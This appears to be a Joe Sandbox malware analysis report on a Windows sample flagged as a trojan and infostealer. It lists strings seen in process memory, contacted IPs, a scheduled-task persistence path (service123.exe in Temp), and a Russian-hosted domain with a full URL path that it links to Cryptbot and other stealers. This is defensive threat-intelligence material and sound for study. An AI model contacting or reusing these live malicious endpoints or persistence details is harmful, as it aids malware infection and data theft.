https://drive.google.com/?lfhs=2	chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/35862	chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://anglebug.com/6248	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000004.00000002.2123824964.00007BE00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123696307.00007BE0007CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 00000004.00000002.2125726223.00007BE000C48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124764190.00007BE0009CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000004.00000002.2125989303.00007BE000CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000004.00000003.2091694741.00007BE000490000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000004.00000002.2125640887.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2109499785.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000004.00000003.2091694741.00007BE000490000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000004.00000003.2091694741.00007BE000490000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000004.00000002.2125726223.00007BE000C48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000004.00000002.2122522114.00007BE0004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000004.00000002.2122417775.00007BE00049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124576124.00007BE00093C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://httpbin.org/ipbefore	file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122852674.00007BE00060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000004.00000002.2122522114.00007BE0004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	chrome.exe, 00000004.00000002.2120847880.00007BE00001C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-preprod.corp.google.com/	chrome.exe, 00000004.00000003.2091694741.00007BE000490000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients4.google.com/chrome-sync	chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	false		high
http://unisolated.invalid/a	chrome.exe, 00000004.00000002.2124764190.00007BE0009CC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122852674.00007BE00060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/J	chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122127208.00007BE000394000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000004.00000003.2102935535.00007BE000CE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2109723931.00007BE000CE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2109629117.00007BE00033C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102901685.00007BE000CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2110503632.00007BE000F68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125989303.00007BE000CE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000004.00000002.2125640887.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2109499785.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000004.00000002.2125726223.00007BE000C48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/:	chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4384	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW	chrome.exe, 00000004.00000002.2122417775.00007BE00049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2124576124.00007BE00093C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs	chrome.exe, 00000004.00000002.2124678548.00007BE000988000.00000004.00000800.00020000.00000000.sdmp	false		high
https://policies.google.com/	chrome.exe, 00000004.00000002.2124737119.00007BE0009A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000004.00000002.2120758382.000073F00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087038233.000073F000390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087213042.000073F00039C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7604	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/hj	chrome.exe, 00000004.00000003.2087425223.000073F000684000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7761	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7760	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	chrome.exe, 00000004.00000002.2125726223.00007BE000C48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122745677.00007BE0005B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122522114.00007BE0004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123354438.00007BE000748000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5901	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6439	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7406	chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-autopush.corp.google.com/	chrome.exe, 00000004.00000003.2091694741.00007BE000490000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7162	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5906	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2517	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4937	chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122852674.00007BE00060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/166809097	chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
http://issuetracker.google.com/200067929	chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/v3/2	chrome.exe, 00000004.00000002.2120758382.000073F00080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087038233.000073F000390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2087213042.000073F00039C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.208.8.205	httpbin.org	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
141.8.197.146	fvtekx5pt.top	Russian Federation	35278	SPRINTHOSTRU	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565525
Start date and time:	2024-11-30 04:59:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/7@17/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 14 Number of non-executed functions: 200
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.19.238, 64.233.165.84, 20.189.173.22
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:01:55	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
23:00:27	API Interceptor	2982642x Sleep call for process: file.exe modified
23:02:25	API Interceptor	1x Sleep call for process: WerFault.exe modified
23:02:28	API Interceptor	3345523x Sleep call for process: service123.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
18.208.8.205	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Xmrig	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
239.255.255.250	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	newtpp.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://noisefreqs.com/Ray-verify.html	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
141.8.197.146	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
home.fvtekx5pt.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.197.146
